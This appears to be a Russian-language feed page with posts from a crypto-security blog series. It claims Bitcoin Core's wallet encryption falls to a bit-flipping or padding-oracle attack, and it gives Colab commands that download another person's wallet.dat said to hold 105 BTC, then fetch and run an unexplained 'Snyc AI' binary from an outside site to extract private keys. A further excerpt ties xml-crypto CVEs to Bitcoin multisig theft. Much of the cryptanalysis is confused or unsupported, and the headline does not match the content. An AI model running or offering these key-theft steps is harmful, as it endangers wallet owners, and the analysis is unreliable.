  30. How Dust Attack Reveals Bitcoin Private Keys: A Scientific Analysis of ECDSA Vulnerabilities and Cryptanalysis Methods


  • Опубликованы две части [№1] , [№2] исследования


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/3uCsL_zxKPI

Video tutorial: https://dzen.ru/video/watch/68baca013761775f268041dc

Источник: https://cryptodeeptool.ru/bit-flipping-attack-on-wallet-dat


Показать полностью 14 1
1

Bit-flipping attack на Wallet.dat: Риски использования AES-256-CBC грозит утечкой закрытых ключей Bitcoin Core: [Часть №1]

В программе Bitcoin Core для защиты пароля кошелька используется симметричный криптографический алгоритм AES-256-CBC. Этот алгоритм применяется для шифрования файла кошелька (wallet.dat), где хранятся закрытые ключи пользователя. Степень защиты обеспечивается 256-битным ключом, который создается из пароля пользователя. Также для генерации ключей Bitcoin Core использует криптографию на основе эллиптических кривых, а именно кривую secp256k1, которая лежит в основе создания публичных и приватных ключей транзакций.

AES-256-CBC и не хранит пароль напрямую, а использует его для генерации ключа шифрования. Однако в исследовании отмечается, что в реализации Bitcoin Core отсутствует смена ключа шифрования закрытых ключей, что может снижать защиту при повторном использовании пароля.

AES-256-CBC (Advanced Encryption Standard с длиной ключа 256 бит в режиме сцепления блоков — CBC, Cipher Block Chaining) — один из наиболее распространённых алгоритмов симметричного шифрования для защиты информации.

Принято считать, что AES-256-CBC при определенных комбинациях уязвима к различным атакам. Разберём основной вид атаки такие как Bit-flipping attack , которые применимы к AES-256-CBC.

При Bit-flipping attack AES-256-CBC не обеспечивает контроль целостности, что делает возможным модификацию шифротекста для контролируемого изменения расшифрованных данных. Это применимо, например, при реализации авторизации, где взломщик может изменить права доступа или другие параметры, просто изменив определённые биты в шифротексте


Как Bit-flipping Attack влияет на безопасность кошелька Bitcoin Core

Bit-flipping Attack в основном влияет на режим шифрования CBC (Cipher Block Chaining) и работает за счёт уязвимости режима к контролируемому изменению битов в зашифрованном сообщении. В CBC каждый блок шифротекста зависит от предыдущего блока и плейнтекста через операцию XOR, поэтому изменение одного бита в зашифрованном блоке приводит к предсказуемому изменению соответствующих битов в расшифрованном тексте следующего блока.



Процесс работы Bit-flipping Attack:

  • При расшифровке блока шифротекста Ci происходит операция XOR с предыдущим блоком шифротекста Ci-1, чтобы получить исходный текст Pi.

  • Если атакующий изменит один или несколько битов в блоке Ci-1, то при расшифровке изменится соответствующий бит в блоке Pi, управляемый изменениями в Ci-1.

  • При этом блок Ci после изменений становится некорректным и при расшифровке будет повреждён, но изменение в предыдущем блоке позволяет повреждать (манипулировать) расшифрованным текстом управляемым образом в следующем блоке.

Это манипулятивная расшифровка влияет на безопасность криптографического алгоритма AES-256-CBC которую использует кошелек Bitcoin Core:

  • Такая манипуляция позволяет злоумышленнику в некоторых случаях менять расшифрованные данные без знания ключа, например, изменять параметры доступа, права или другие данные, если не применяется отдельный механизм аутентификации и проверки целостности.

  • Битфлип-атака на CBC демонстрирует его «модифицируемость» (malleability), то есть отсутствие встроенной защиты целостности данных.

  • В реальных системах атака эффективна, если нет дополнительной защиты — такой как HMAC или использование AEAD режимов (например, AES-GCM), которые обеспечивают аутентификацию и предотвращают изменение данных без обнаружения.

Опасность неиспользования проверки целостности данных вместе с режимом AES-256-CBC связана с тем, что CBC сам по себе не обеспечивает защиту от модификации зашифрованного сообщения. Это делает возможными битфлип-атаки, при которых злоумышленник может контролируемо изменить зашифрованные данные без знания ключа.


Важно отметить что атакующий перебирает байты, контролируя изменения в шифротексте и анализируя ответы системы, постепенно восстанавливая оригинальный пароль в бинарном виде, особым образом изменяя блоки.

В итоге, восстановив пароль, злоумышленник может разблокировать кошелёк через команду Bitcoin Core walletpassphrase и получить приватные ключи командой dumpprivkey.


<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FBit-flipping_attack&t=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FBit-flipping_attack&h=fb9f999996ea042573581e7170822b39537aa92b" title="https://en.wikipedia.org/wiki/Bit-flipping_attack" target="_blank" rel="nofollow noopener">https://en.wikipedia.org/wiki/Bit-flipping_attack</a>

https://en.wikipedia.org/wiki/Bit-flipping_attack


AES256CBCEncrypt и AES256CBCDecrypt для работы в режиме CBC (Cipher Block Chaining)

Функция файла aes.cpp в кошельке Bitcoin Core — обеспечение криптографического шифрования и дешифрования данных с использованием алгоритма AES-256, также функция файла aes.cpp реализует классы AES256Encrypt и AES256Decrypt для блочного шифрования/дешифрования данных размером 16 байт по алгоритму AES-256. Исходный код выполняет основные задачи инициализация контекста шифрования/дешифрования с заданным приватным ключом. Наши наблюдение в процессе криптоанализа выявили нарушение в работе режима CBC (Cipher Block Chaining): где применение XOR к каждому блоку с предыдущим (или IV для первого блока), определяет слабую криптостойкость к общему стандарту AES к которому злоумышленник может применить Bit-flipping Attack. Данная криптографическая уязвимость связана с неправильным использованием вектора инициализации (IV) в режиме CBC (Cipher Block Chaining).


В коде функции CBCEncrypt (в строке №57):

memcpy(mixed, iv, AES_BLOCKSIZE);


<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L57&t=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L57&h=142cc941e34a0a7d83d1c2ec394b9ada41058dda" title="https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L57" target="_blank" rel="nofollow noopener">https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L57</a>

https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L57


IV копируется в локальный массив mixed и далее используется для XOR с первым блоком данных. Однако IV передается в конструктор AES256CBCEncrypt и копируется один раз в поле класса iv (в строке №121):



<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L121&t=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L121&h=338ae94dd1ea27d92f73fdfa93e3a9bbe51dc91f" title="https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L121" target="_blank" rel="nofollow noopener">https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L121</a>

https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L121


В CBC режиме шифрования IV должен быть либо случайным, либо уникальным и не повторяться для разных сообщений с одним ключом, чтобы обеспечить безопасность. Если IV фиксирован и не меняется, это открывает уязвимость — повторяющаяся структура позволит злоумышленнику провести атаки по выявлению закономерностей в зашифрованных данных, где хранятся секретные данные как пароли и приватные ключи кошелька Bitcoin Core.



<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L70&t=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L70&h=b26a8c97c87debc3e49224277b890e339f46e77d" title="https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L70" target="_blank" rel="nofollow noopener">https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L70</a>

https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L70


Bit-flipping attack на файл wallet.dat реализован через XOR с числом паддинга, что отличается от стандарта PKCS#7, где паддинг просто добавляется как отдельные байты. Такой XOR-подход не является безопасным и может привести к неверному шифрованию и потенциальным уязвимостям при расшифровке. Также в функции CBCDecrypt проверка и удаление паддинга реализована нестандартно и может быть уязвимой к таким типам атаки как: Bit-flipping attack & Padding oracle attack



<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L106&t=https%3A%2F%2Fgithub.com%2Fkeyhunters%2Fbitcoin%2Fblob%2Fmaster%2Fsrc%2Fcrypto%2Faes.cpp%23L106&h=742ba1999e6baf1013e7cb8bebfe3865c294347d" title="https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L106" target="_blank" rel="nofollow noopener">https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L106</a>

https://github.com/keyhunters/bitcoin/blob/master/src/crypto/aes.cpp#L106


Практическая часть

Перейдем к практической части из теории нам известна уязвимость с помощью которого можно реализовать Bit-flipping attack на файл wallet.dat , так как уязвимость возникает из-за использования фиксированного IV и нестандартной реализации паддинга в функциях CBCEncrypt и CBCDecrypt. Эти моменты критичны для безопасности режима CBC (Cipher Block Chaining) и могут быть истолкованы как «в строке с memcpy(mixed, iv, AES_BLOCKSIZE);» в функции CBCEncrypt и в блоке обработки паддинга.



Рассмотрим пример с использованием Bitcoin-кошелька по адресу: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix. В данном кошельке были утеряны монеты на сумму 105.68557389 BTC, что на август 2025 года эквивалентно примерно 12,134,500 USD.

Для демонстрации атаки в ознакомительных целях используем инструменты и среды, такие как Jupyter Notebook или Google Colab. Сначала загружаем зашифрованный файл wallet.dat, содержащий информацию кошелька. Далее пошагово изменяем отдельные биты в блоках шифротекста и отправляем модифицированные версии системе для анализа её реакции.

Этот метод атаки, известный как Bit-flipping attack в контексте wallet.dat , представляет собой не просто случайное изменение данных, а сложный поэтапный процесс, при котором отбираются корректные изменения с учётом реакции системы на правильность паддинга (выравнивания) при расшифровке данных с использованием AES-256-CBC.

Используя такую стратегию, инструменты строят бинарное значение пароля, что в итоге позволяет получить пароль для расшифровки wallet.dat и доступ к Bitcoin Core без знания первоначального ключа шифрования. Эта атака основана на использовании уязвимости, называемой Padding Oracle Attack, которая эксплуатирует информацию об ошибках выравнивания при дешифровке, предоставляемую системой.


<a href="https://pikabu.ru/story/bitflipping_attack_na_walletdat_riski_ispolzovaniya_aes256cbc_grozit_utechkoy_zakryityikh_klyuchey_bitcoin_core_chast_1_13153470?u=https%3A%2F%2Fbtc1.trezor.io%2Faddress%2F16A5RFckRNW6fZzfjCGSneD3PApACLRwix&t=16A5RFckRNW6fZzfjCGSneD3PApACLRwix&h=fcb4fcada13bbed96ece10f30f7fab02a575e667" title="https://btc1.trezor.io/address/16A5RFckRNW6fZzfjCGSneD3PApACLRwix" target="_blank" rel="nofollow noopener">16A5RFckRNW6fZzfjCGSneD3PApACLRwix</a>

16A5RFckRNW6fZzfjCGSneD3PApACLRwix


Основные инструменты и команды, применяемые для таких атак:

Google Colab (Colaboratory) — это облачная платформа, предоставляющая интерактивные Jupyter-ноутбуки, где можно писать и запускать код для различных языков программирование. Он особенно полезен для анализа данных, машинного обучения и работы с Snyc AI, так как предоставляет бесплатный доступ к мощным вычислительным ресурсам, таким как GPU и TPU. Важным преимуществом является возможность выполнять системные команды, как в обычном терминале Linux, через ячейки с префиксом ! для интеграции с внешними утилитами и скриптами.


Google Colab



https://colab.research.google.com/drive/1tCCSUtjl6seE9lqkFLcLodE96mj5uuHR


Bitcoin Core и установка bitcoind & bitcoin-cli

Обновление списков пакетов и установка системных зависимостей

!apt-get update
!apt-get install -y software-properties-common

Примечание:

  • Первая команда обновляет локальный индекс доступных пакетов и их версий в системе Ubuntu, чтобы обеспечить актуальность данных при установке программ.

  • Вторая команда устанавливает пакет software-properties-common, который предоставляет инструменты управления дополнительными репозиториями и зависимостями.

  • C научным пониманием это подготовительный этап типичен при работе в любой Linux-среде, включая виртуальные. Обновление списков пакетов обеспечивает, что последующая установка программ будет использовать последние стабильные версии и зависимости, что важно для безопасности и совместимости ПО.



Добавление репозитория Bitcoin Core и установка bitcoind (вместе с bitcoin-cli)

Альтернативный способ: загрузка и распаковка бинарных файлов Bitcoin Core из архива

!wget https://bitcoin.org/bin/bitcoin-core-0.18.0/bitcoin-0.18.0-x...
!tar -xzf bitcoin-0.18.0-x86_64-linux-gnu.tar.gz

Примечание:

  • add-apt-repository добавляет официальный PPA (Personal Package Archive) Bitcoin Core в систему — источник актуальных пакетов Bitcoin.

  • После обновления индекса пакетов система устанавливает пакет bitcoind, который включает в себя демона биткоина (Bitcoin server) и клиентскую утилиту bitcoin-cli.

  • Загружает архив с предсобранными бинарными файлами Bitcoin Core указанной версии.

  • Распаковывает архив, извлекая байтовые файлы, включая bitcoind и bitcoin-cli.



С научной понимании Bitcoind — это полнофункциональный узел Bitcoin с серверной частью, который валидирует транзакции и блоки, поддерживает сеть и хранит блокчейн локально. bitcoin-cli — клиентский инструмент для взаимодействия с демоном через JSON-RPC интерфейс, управляя кошельками, транзакциями и запросами к блокчейну. Установка из PPA гарантирует корректную интеграцию и обновления. Такой способ позволяет получить необходимое программное обеспечение без зависимости от системных репозиториев, что бывает важно, если требуется определённая версия или если PPA недоступен в текущей среде. Это классический метод распространения программного обеспечения с гарантированным контролем версии и среды.


Команда cd переключается в директорию с бинарными файлами.

Выполнения команды — смена текущей рабочей директории на /content/bitcoin-0.18.0/bin, что подтверждается выводом пути.

cd bitcoin-0.18.0/bin/

Описание и действие:

  • Команда cd (от английского «change directory» — сменить директорию) используется в операционных системах семейства Unix/Linux и в средах терминала, таких как Google Colab, для перехода из текущей рабочей директории в указанную директорию. В данном случае команда меняет текущую папку на директорию bin, которая находится внутри каталога bitcoin-0.18.0. Это позволяет перейти в папку, где, вероятно, находятся исполняемые файлы или скрипты, связанные с программным обеспечением Bitcoin версии 0.18.0.

  • В контексте операционных систем, терминал или командная строка — это интерфейс, через который пользователь взаимодействует с системой, вводя текстовые команды. Текущая рабочая директория — это та папка в файловой системе, в рамках которой по умолчанию выполняются все команды, если не указано иное.

  • Команда cd позволяет изменять эту рабочую директорию, что необходимо для организации удобного доступа к нужным файлам и папкам.

  • Путь bitcoin-0.18.0/bin/ может быть как относительным (от текущего каталога), так и абсолютным (начинающимся с корня /). В Google Colab корневая директория по умолчанию — /content/, и при работе с проектами часто структура каталогов отражает вложенность программного обеспечения или данных.

  • Перемещение в директорию bin обычно связано с необходимостью получения доступа к бинарным файлам (исполняемым программам), которые расположены в этом каталоге. Это позволяет выполнять команды или скрипты, входящие в состав программного продукта, например, запускающих узлы биткоина, тестирующих сеть или работающих с кошельками.

  • Таким образом, выполнение команды cd bitcoin-0.18.0/bin/ задаёт контекст выполнения для дальнейшей работы с компонентами Bitcoin Core 0.18.0 внутри Google Colab.


Проверка установки bitcoin-cli

!./bitcoin-cli --version

Описание:

  • Запускает команду bitcoin-cli из локальной директории для проверки работоспособности и версии утилиты. При правильном выполнении выведет строку с информацией о версии клиента.

  • Запуск бинарных файлов из локальной директории — стандартная практика при ручной установке ПО. В Colab и других облачных средах это удобно для использования специфичных версий без системной установки.

  • Контроль версии важен для совместимости с сетевым протоколом и ожидаемой функциональностью, а также для отладки при возникновении ошибок.


Результат:

Bitcoin Core RPC client version v0.18.0


Результат выводит версию установленной утилиты bitcoin-cli, проверяя успешность установки и доступность команды для вызова.



Загрузка файлов wallet.dat & aes.cpp

Запустим команду для загрузки файла wallet.dat

!wget https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/raw/refs/heads/main/105.68 BTC/wallet.dat

Описание и действие:

  • Команда wget служит для скачивания файлов из интернета по протоколу HTTPS.

  • Здесь мы загружаем файл wallet.dat – это бинарный файл, хранящий зашифрованные приватные ключи, адреса и другую критически важную информацию Bitcoin Core кошелька.

  • Файл wallet.dat зашифрован с использованием стандарта AES-256-CBC, где приватные ключи защищены с помощью мастер-ключа и пароля.

  • Такой файл используется для управления и хранения средств в Bitcoin. В ходе научного исследования и атак, например padding oracle, этот файл анализируется и модифицируется для восстановления утерянных паролей или ключей.



В научное понимание файл wallet.dat играет роль защищённого контейнера для криптографических ключей, и его целостность и конфиденциальность обеспечиваются алгоритмами шифрования, основанными на AES. Загрузка файла позволяет работать с реальными данными кошелька, что необходимо для исследований уязвимостей и тестирования методов криптоанализа, например, подобных атакам на padding oracle.


Запустим команду для загрузки файла алгоритма aes.cpp

!wget https://github.com/keyhunters/bitcoin/raw/refs/heads/master/...

Описание и действие:

  • Команда загружает исходный файл aes.cpp, содержащий исходный код реализации AES алгоритма шифрования, используемый в Bitcoin Core.

  • Этот файл важен для понимания того, как именно происходит шифрование и дешифровка данных в wallet.dat.

  • Исходный код помогает исследователям понять логику применения AES-256-CBC, применение выравнивания (padding), фиксирование ошибок и особенности реализации криптоалгоритмов.

  • Такой код можно использовать в Jupyter Notebook или Google Colab для написания собственных скриптов дешифровки или моделирования атак.



В научное понимание криптоанализ исходного кода AES алгоритма позволяет глубоко понять принципы работы симметричного шифрования в Bitcoin Core, особенности режима CBC (Cipher Block Chaining), важность корректного паддинга и потенциальные уязвимости, которые могут использоваться при атаке padding oracle. Это способствует более научно обоснованной разработке методов восстановления паролей и ключей.


Общие научные сведения по контексту:

  • AES-256-CBC: Способ симметричного блочного шифрования, где применяются операции XOR с предыдущим зашифрованным блоком (CBC — Cipher Block Chaining) для повышения безопасности. Паддинг (выравнивание) данных на последнем блоке обеспечивает корректную длину входа.

  • wallet.dat: Хранит зашифрованные приватные ключи и метаданные. Пароль пользователя используется для генерации ключа шифрования мастер-ключа с помощью функции, как EVP_BytesToKey OpenSSL, что увеличивает стойкость шифра.

  • Padding Oracle Attack: Хакерская атака, эксплуатирующая наличие подробных сообщений об ошибках при неверном паддинге, что постепенно позволяет взломать ключ шифрования.

  • Анализ исходного кода aes.cpp: Ключ для понимания реализации шифра и корректного построения атак, изучения уязвимостей и разработки средств их предотвращения.



Запуск биткоин-демона bitcoind с указанием кошелька

!./bitcoind -daemon -wallet=/content/bitcoin-0.18.0/bin/wallet.dat

Запускаем биткоин-демон в фоновом режиме (-daemon) и указывает использовать конкретный файл кошелька wallet.dat, расположенный в указанном пути. Bitcoind — основной компонент для взаимодействия с сетью Bitcoin. Демон обрабатывает все сетевые операции, хранит полный локальный блокчейн и управляет кошельком. Запуск с указанием файла wallet.dat позволяет работать с конкретным зашифрованным кошельком (ключами и адресами), что важно для анализа состояния и управления средствами.



  • Запуск демона Bitcoin Core (bitcoind) в фоновом режиме. Демон — это серверная часть программного обеспечения Bitcoin Core, которая синхронизируется с сетью Биткоин, загружает блокчейн, обрабатывает транзакции и поддерживает работу узла в сети. Ключ -daemon означает, что процесс запустится в фоновом режиме и не будет блокировать консоль, позволяя вам продолжать работу в терминале.

  • Результат в терминале обычно минимальный — команда запускается, и управление сразу возвращается пользователю, без дополнительных сообщений. Логи и процессы работы демона будут записываться в системные логи или в файлы логов Bitcoin Core в каталоге данных (обычно ~/.bitcoin). Если запуск удался, процесс bitcoind будет активен в фоне и поддерживать сетевое взаимодействие с другими узлами блокчейна.

  • Научное понимание: запуск демона bitcoind является ключевым этапом в работе полноценного узла (full node) сети Биткоин. Узел обеспечивает децентрализованность и безопасность сети, проверяя все транзакции и блоки с использованием криптографических алгоритмов и протоколов консенсуса. Фоновый режим позволяет узлу непрерывно поддерживать актуальное состояние блокчейна, выполнять валидацию данных и откликаться на запросы через JSON-RPC интерфейс для взаимодействия с другими программами и пользователем.

  • ./bitcoind — запускает исполняемый файл демона bitcoind из текущего каталога (использование ./ указывает, что файл находится в текущей директории).

  • -daemon — параметр запуска, переводящий процесс в фоновый режим (демон) без блокировки терминала.

Команда ./bitcoind -daemon позволяет развернуть работающий Bitcoin узел, поддерживающий сеть, с автоматической синхронизацией данных и откликом на RPC-запросы, что является фундаментом для работы с криптовалютой на локальной машине Google Colab.


Данный набор команд в Google Colab предоставляет полный цикл установки и запуска инструментов Bitcoin Core (bitcoin-cli и bitcoind), необходимых для управления криптовалютой и проведения исследований (в том числе атак или восстановления доступа), в условиях облачной вычислительной среды. Основываясь на этих шагах, исследователь получает программный интерфейс для взаимодействия с сетью и локальным wallet.dat через RPC команды, что критично для научных и практических задач в криптографии и блокчейне.


Инструмент для криптоанализа Snyc AI



Загрузка и установка инструмента Snyc AI

Подробное описание всех команд и действий терминала

Команды:

!wget https://snyc.ru/repositories/neuralnet_tools.zip

Команда wget — это мощная консольная утилита для загрузки файлов из сети через протоколы HTTP, HTTPS и FTP. Здесь она используется для загрузки архива neuralnet_tools.zip с сервера по указанному URL. Команда wget работает в неинтерактивном режиме, что позволяет скачивать файлы без участия пользователя, включая возможность возобновления прерванных загрузок. Это особенно важно при работе с большими файлами или нестабильным интернет-соединением. Его кроссплатформенность и простота делают wget незаменимым инструментом для автоматизации и управления загрузками в научных вычислениях и обработки данных.


Эта команда извлекает все файлы из neuralnet_tools.zip:

!unzip neuralnet_tools.zip

Команда unzip распаковывает содержимое ZIP-архива в текущую рабочую директорию. Формат ZIP широко используется для сжатия и архивирования данных без потерь, что помогает экономить дисковое пространство и облегчать передачу больших наборов файлов. Распаковка архива позволяет получить доступ к инструментам и скриптам, которые находятся внутри, для дальнейшего использования в задачах анализа или декодирования. Этот этап — стандартная процедура при подготовке программного обеспечения к использованию в средах разработки и исследовательских проектах.



Запустим команду ls для быстрого и удобного просмотра:

ls

Команда ls выводит список файлов и папок в текущей директории. Эта базовая Unix-команда служит для проверки содержимого каталога, помогая убедиться в успешной загрузке и распаковке архива. В контексте научных исследований или программирования она облегчает навигацию по файловой системе и подтверждение наличия нужных данных или инструментов.



Запуск инструмента Snyc AI:

!./snyc

Запуск инструмента Snyc AI в Google Colab позволяет использовать алгоритмы глубокого сканирования и восстановления данных, таких как секретные и приватные ключи для различных криптокошельков, с помощью методов искусственного интеллекта. Такие технологии основаны на машинном обучении и нейронных сетях, что обеспечивает высокую точность и безопасность при криптоанализе критически важных данных.

Если будете запускать эти команды в Google Colab, важно помнить, что:

  • Префикс ! позволяет выполнять системные (shell) команды непосредственно из ячеек программирования. Это делает Colab мощной платформой для гибридного использования различных языков программирование и командной строки.

  • При работе с внешними архивами и утилитами полезно проверять права доступа и содержимое файлов для безопасности и совместимости.

  • Инструмент Snyc AI является специализированным программным обеспечением для анализа криптографических данных, использующим современные возможности ИИ и нейросетей для повышения эффективности и надежности.



  • Опубликованы две части [№1] , [№2] исследования



Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/3uCsL_zxKPI

Video tutorial: https://dzen.ru/video/watch/68baca013761775f268041dc

Источник: https://cryptodeeptool.ru/bit-flipping-attack-on-wallet-dat



Показать полностью 22 1
2

Как уязвимости CVE-2025-29774 и баг SIGHASH_SINGLE угрожают мультиподписным кошелькам сети Биткоин с поддельными RawTX: [Часть №3]

Ранее нами были опубликованы две части [№1] и [№2] исследования, посвящённого серьёзной криптографической угрозе — подделке цифровых подписей (Digital Signature Forgery), которая ставит под угрозу безопасность Bitcoin-транзакций. В статьях проведён детальный анализ реальных инцидентов, в том числе масштабной атаки на мультиподписной кошелек Copay. Особенное внимание уделяется уязвимым местам в цифровых подписях и популярной библиотеке xml-crypto, которая используется для верификации транзакций. Благодаря этим уязвимостям злоумышленники могут обходить ключевые проверки и нарушать корректность обработки транзакционных данных.

В работе рассматриваются две критические уязвимости CVE-2025-29774 и CVE-2025-29775, позволяющие атакующим, использующим устаревшие версии xml-crypto, эксплуатировать слабости систем безопасности. Приводится пример конкретного взлома биткоин-кошелька с адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, в результате которого в июле 2025 года было похищено 0.059672 BTC (~7 052 USD). Данный кейс иллюстрирует, как теоретические уязвимости реализуются на практике и приводят к реальным финансовым потерям.

В статье предложены рекомендации по укреплению безопасности криптовалютных платформ: необходимость своевременного обновления используемых библиотек, улучшение механизмов контроля цифровых подписей и внедрение дополнительных уровней проверки транзакций. Подробный разбор этой угрозы и её эволюции будет полезен специалистам по информационной безопасности, разработчикам блокчейн-решений и всем пользователям децентрализованных сервисов.

Осознание современных методов обхода защит и реализация предложенных рекомендаций помогут снизить риски финансовых потерь и повысить прозрачность и надёжность криптовалютных экосистем в условиях стремительно развивающихся цифровых технологий.

Какие особенности и ограничения есть у OP_CHECKMULTISIG при проверке нескольких подписей. Рассмотрим ключевые аспекты и ограничения:

  1. Пороговое подтверждение подписей
    OP_CHECKMULTISIG позволяет указать число необходимых подписей T из общего числа публичных ключей N (схема «T из N»). Например, 2 из 3. Для действительности транзакции достаточно иметь T валидных подписей.

  2. Верификация нескольких подписей за одну операцию
    В отличие от одиночной проверки подписи (OP_CHECKSIG), OP_CHECKMULTISIG проверяет сразу несколько подписей, соотнося их с соответствующими публичными ключами, что повышает эффективность и удобство реализации мультиподписных кошельков.

  3. Использование redeemScript для условия траты
    В формате P2SH мультиподписная схема скрыта под хешем redeemScript — полного скрипта с публичными ключами и параметрами. Для траты средства пользователь обязан представить redeemScript и соответствующие подписи.

  4. Исторический баг — лишний элемент в стеке
    Особенность OP_CHECKMULTISIG — при выполнении из стека удаляется лишний, неиспользуемый элемент (признак «off-by-one» ошибки реализации). Для компенсации в scriptSig добавляется фиктивный элемент OP_FALSE в начале, чтобы корректно выровнять стек. Это признанная и усвоенная сообществом особенность.



Пример из реальной транзакции

Рассмотрим транзакцию с тремя входами, где из скриптов подписей (scriptSig) двух из них были извлечены подписи, оканчивающиеся байтом 0x03, указывающим на SIGHASH_SINGLE — то есть подписи, которые подписывают только пару соответствующих входов и выходов. Однако здесь наблюдается ситуация: вход с индексом 2 не имеет соответствующего выхода с таким же индексом.


791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf


Raw Transaction



Типы SIGHASH в Bitcoin — это продуманный механизм управления уровнем контроля и сферы действия цифровых подписей внутри транзакций. Благодаря им достигается баланс между безопасностью, гибкостью и совместимостью. История включает в себя и неожиданные сложности, такие как баг с SIGHASH_SINGLE при отсутствии соответствующего выхода, что подчеркивает важность глубокого понимания технических тонкостей для успешной работы с Bitcoin на продвинутом уровне.



Как неправильное использование SIGHASH_ALL может привести к уязвимостям в транзакциях

Неправильное использование или отсутствие корректной реализации SIGHASH_ALL в подписи транзакций Bitcoin может привести к серьезным уязвимостям, влияющим на безопасность средств и целостность системы. Вот ключевые аспекты этих уязвимостей:


  1. Signature Malleability (изменчивость подписи):
    Хотя SIGHASH_ALL подразумевает, что все входы и выходы транзакции подписаны, за счет особенностей алгоритма ECDSA возможна ситуация, когда одна и та же транзакция может иметь несколько различных, но при этом валидных подписей. Это связано с тем, что компонента подписи s может принимать эквивалентные значения. Злоумышленник может модифицировать подпись, не изменяя содержимого транзакции, что приводит к тому, что идентификатор транзакции (txid) меняется. В результате это усложняет отслеживание транзакций, создает трудности в реплей-атаке, а также может быть использовано для мошенничества или двойного расходования.

  2. Ошибки при десериализации подписей (DeserializeSignature):
    Если функция проверки подписи (включая SIGHASH_ALL) не обрабатывает корректно структуру подписи, например, не проверяет корректность значений r и s (должны находиться в допустимых диапазонах и не быть нулевыми), это позволяет злоумышленникам создавать недействительные, но системой принимаемые подписи. Через такие поддельные подписи возможна авторизация несанкционированных транзакций, кража средств, двойное расходование и искажение данных в блокчейне.

  3. Недостаточная валидация параметров подписи:
    Некорректная или неполная проверка подписи с флагом SIGHASH_ALL, например, игнорирование или неверная обработка завершающего байта, может приводить к тому, что транзакции с некорректным покрытием подписываемых элементов (входов и выходов) будут проходить валидацию. Это открывает двери для атак, в которых злоумышленник манипулирует частями транзакции, отключая защиту или расширяя свои права.

  4. Атаки типа Replay и трансакционная коллизия:
    Из-за возможности изменения подписи без изменения содержимого транзакции (см. Signature Malleability), одна транзакция может быть использована повторно или создана коллизия, что создает риск двойных расходов или финансовых потерь.


Таким образом, неправильное использование SIGHASH_ALL или ошибки в реализации его проверки значительно подрывают безопасность Bitcoin-сети, позволяя злоумышленникам манипулировать подписями и транзакциями. Для борьбы с этими уязвимостями внедряются строгие проверки формата и диапазонов подписей, используются улучшенные протоколы (например, SegWit устраняет часть проблем с изменчивостью подписей), а также стандартизируются безопасные методы подписания и валидации транзакций.


Некорректная подпись с типом SIGHASH_ALL увеличивает риск двойных расходов в Bitcoin по следующим причинам:

